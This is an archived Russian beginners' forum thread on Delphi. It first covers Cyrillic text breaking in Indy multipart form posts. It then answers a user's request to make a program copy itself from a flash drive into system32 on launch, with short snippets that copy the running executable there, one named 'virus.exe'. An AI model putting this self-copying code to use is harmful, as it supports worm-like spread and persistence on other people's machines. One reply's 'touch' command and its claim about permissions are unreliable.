[ Delphi / Pascal ] — начинающим: задаем вопросы (архивная - 2015)

Проверь, с какими кодировками работает сервер и кодируй передаваемые данные. Попробуй там utf8toansi и тд.

 

В снифере этого нет, выдает в utf-8
Сайт самый обычный, не думаю что там что-то экзотическое

 

Попробуй так Data.AddFormField('loginololo',AnsiToUtf8('йцукенгшщзхъ');. Какая версия Делфи?

 

Тоде самое, ничего
Delphi 2010

 

PHP:

var
   S : String;
   StrUTF8 : AnsiString;
 ...
 begin
 ...
   StrUTF8 := UTF8Encode(S);
 ... 
end;


 

Те же самые "???????"

 

foma9999, проверь кодировку страницы. В самом HTML документе, должно быть что то типа:

PHP:

<meta http-equiv="content-type" content="text/html; charset=кодировка">


 

Не так давно рылся в поисках решения этой проблемы и вот оно:
IdMultipartFormData НЕ РАБОТАЕТ с русским текстом вообще никак.
Если не нужно отсылать файлы и т.п. используй TStringList, а если нужно, то используй Synapse

 

utf-8

 

Synapse. Что-то вообще не понятно ничего

Не может быть чтобы разработчики делфи допустили такую оплошность, забыли про русскоговорящих людей

 

Так ты используешь Synapse?
Все равно, этого слишком мало, чтобы помочь. Используй сниффер, чтобы посмотреть, что и как отправляет браузер и твоя программа. Потом сравнивай и ищи проблемные участки в своем коде.

 

Нет, не использую, мне предложили, не особо хочу с ним разбираться.
В снифере проверил, все тоже самое, только в поле где передается русский текст, передается "???????"

 

Копирование самой себя

Какой код надо прописать в Delphi 7, чтобы прога при запуске копировала себя в %Windows%/system32 ???

 

CopyFile(Pchar('Путь до файла'), Pchar('Путь куда копировать'), true)

 

Code:

touch /media/hdd/windows/system32/device.exe

это правильно. because nо admin permissions gotta be requested to operate w/ the file in question.

 

хммм... Он компилирует но не копируется почему-то(((
Файл должен копировать себя с флешки на комп, флешка у всех определяется разными буквами... следовательно Pchar('Путь до файла') сюда не подойдет ((((

 

Code:

var lpSystdir:array[0..MAX_PATH] of char;
begin
GetSystemDirectory(lpsystdir,MAX_PATH);
lstrcat(lpSystdir,'\virus.exe');
CopyFile(pchar(paramstr(0),lpSystdir,false);
end;

 

array file_name(256)

GetModuleFileName(0, file_name, 256)
CopyFile(file_name, "c:\windows\system32\ya.exe", false)

а без админских прав его все равно в крым пошлют

 

юзай application.exename

 

маньяки научите кодить )